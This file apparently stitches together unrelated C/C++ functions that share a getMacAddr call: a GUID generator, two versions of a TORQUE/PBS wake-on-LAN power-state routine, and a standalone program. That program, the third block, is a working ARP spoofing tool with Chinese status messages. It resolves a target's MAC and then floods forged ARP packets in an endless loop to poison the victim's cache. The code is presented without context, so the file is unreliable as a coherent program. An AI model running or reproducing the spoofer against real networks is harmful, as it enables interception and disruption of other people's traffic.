ECode GenGuid(GUID* guid) { if(NULL == guid) { return E_NULL_POINTER; } getCurAccurateTime((ulong*)&(guid->seconds), (ulong*)&(guid->usecond)); getMacAddr((char*)&(guid->macaddr), NULL); (guid->reserve)[0] = 0; (guid->reserve)[1] = 0; return NOERROR; }
int set_node_power_state(struct pbsnode *pNode,struct pbsnode *newNode) { if(pNode->nd_addrs == NULL) { return PBSE_BAD_PARAMETER; } if(newNode->nd_power_state == POWER_STATE_RUNNING) { newNode->nd_power_state = pNode->nd_power_state; //Don't change the power state here. //Let the mom update change the state //back to running. static std::string interface; static unsigned char mac_addr[6]; if(interface.length() == 0) { if(!getMacAddr(interface,mac_addr)) { return PBSE_SYSTEM; } } int sock; if((sock = socket(AF_INET,SOCK_PACKET,SOCK_PACKET)) < 0) { return PBSE_SYSTEM; } unsigned char outpack[1000]; memcpy(outpack+6,mac_addr,6); memcpy(outpack,pNode->nd_mac_addr,6); outpack[12] = 0x08; outpack[13] = 0x42; int offset = 14; memset(outpack + offset,0xff,6); offset += 6; for(int i = 0;i < 16;i++) { memcpy(outpack + offset,pNode->nd_mac_addr,6); offset += 6; } int one = 1; if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&one, sizeof(one)) < 0) { close(sock); return PBSE_SYSTEM; } struct sockaddr whereto; whereto.sa_family = 0; strcpy(whereto.sa_data,interface.c_str()); if (sendto(sock, outpack, offset, 0, &whereto, sizeof(whereto)) < 0) { close(sock); return PBSE_SYSTEM; } close(sock); return PBSE_NONE; } if(pNode->nd_job_usages.size() != 0) { //Can't change the power state on a node with running jobs. return PBSE_CANT_CHANGE_POWER_STATE_WITH_JOBS_RUNNING; } struct batch_request *request = alloc_br(PBS_BATCH_ChangePowerState); if(request == NULL) { return PBSE_SYSTEM; } request->rq_ind.rq_powerstate = newNode->nd_power_state; newNode->nd_power_state_change_time = time(NULL); strncpy(request->rq_host,pNode->nd_name,sizeof(request->rq_host)); int rc = enqueue_threadpool_request(send_power_state_to_mom,(void *)request,task_pool); return(rc); }
int main(int argc, char *argv[]) { char mymac[6] = {0}; char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; char recvarp[42] = {0}; char sendarp[42] = {0}; int tarip; int myip; char opcode[2]; int sock_fd; struct sockaddr addr; if (argc < 4) { return EXIT_FAILURE; } //获取本机MAC地址 if (getMacAddr(mymac, argv[1]) < 0) { printf("获取MAC地址失败\n"); return EXIT_FAILURE; } myip = inet_addr(argv[3]); tarip = inet_addr(argv[2]); opcode[0] = 0x00; opcode[1] = 0x01; packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp); if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) { perror("Open Socket"); return EXIT_FAILURE; } memset(&addr, 0, sizeof(addr)); strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data)); socklen_t len = sizeof(addr); while(1) { if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) { printf("发送ARP包成功\n"); } else { perror("sendto"); return EXIT_FAILURE; } if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) { if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) { memcpy(tarmac, recvarp + 22, 6); printf("获取MAC地址成功\n"); break; } } sleep(1); } opcode[0] = 0x00; opcode[1] = 0x01; packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp); while(1) { if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) { printf("发送ARP欺骗包成功\n"); } else { perror("sendto"); return EXIT_FAILURE; } sleep(1); } close(sock_fd); return EXIT_SUCCESS; }
int set_node_power_state( struct pbsnode **ppNode, unsigned short newState) { struct pbsnode *pNode = *ppNode; if (pNode->nd_addrs == NULL) { return PBSE_BAD_PARAMETER; } if (newState == POWER_STATE_RUNNING) { static std::string interface; static unsigned char mac_addr[6]; if (interface.length() == 0) { if (!getMacAddr(interface,mac_addr)) { return PBSE_SYSTEM; } } int sock; if ((sock = socket(AF_INET,SOCK_PACKET,SOCK_PACKET)) < 0) { return PBSE_SYSTEM; } unsigned char outpack[1000]; memcpy(outpack+6,mac_addr,6); memcpy(outpack,pNode->nd_mac_addr,6); outpack[12] = 0x08; outpack[13] = 0x42; int offset = 14; memset(outpack + offset,0xff,6); offset += 6; for (int i = 0;i < 16;i++) { memcpy(outpack + offset,pNode->nd_mac_addr,6); offset += 6; } int one = 1; if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&one, sizeof(one)) < 0) { close(sock); return PBSE_SYSTEM; } struct sockaddr whereto; whereto.sa_family = 0; snprintf(whereto.sa_data, sizeof(whereto.sa_data), "%s", interface.c_str()); if (sendto(sock, outpack, offset, 0, &whereto, sizeof(whereto)) < 0) { close(sock); return PBSE_SYSTEM; } close(sock); return PBSE_NONE; } if (pNode->nd_job_usages.size() != 0) { //Can't change the power state on a node with running jobs. return PBSE_CANT_CHANGE_POWER_STATE_WITH_JOBS_RUNNING; } struct batch_request *request = alloc_br(PBS_BATCH_ChangePowerState); if (request == NULL) { return PBSE_SYSTEM; } request->rq_ind.rq_powerstate = newState; pNode->nd_power_state_change_time = time(NULL); snprintf(request->rq_host, sizeof(request->rq_host), "%s", pNode->nd_name); std::string hostname(request->rq_host); int rc = PBSE_NONE; { int handle = 0; int local_errno = 0; handle = svr_connect(pNode->nd_addrs[0],pNode->nd_mom_port,&local_errno,pNode,NULL); if(handle < 0) { unlock_node(pNode, __func__, "Error connecting", LOGLEVEL); *ppNode = NULL; return local_errno; } unlock_node(pNode, __func__, "Done connecting", LOGLEVEL); *ppNode = NULL; rc = issue_Drequest(handle, request,true); if(rc == PBSE_NONE) { rc = request->rq_reply.brp_code; if(rc < 0) rc = -rc; } } pNode = find_nodebyname(hostname.c_str()); *ppNode = pNode; if ((rc == PBSE_NONE)&&(pNode != NULL)) { pNode->nd_power_state = newState; } return(rc); }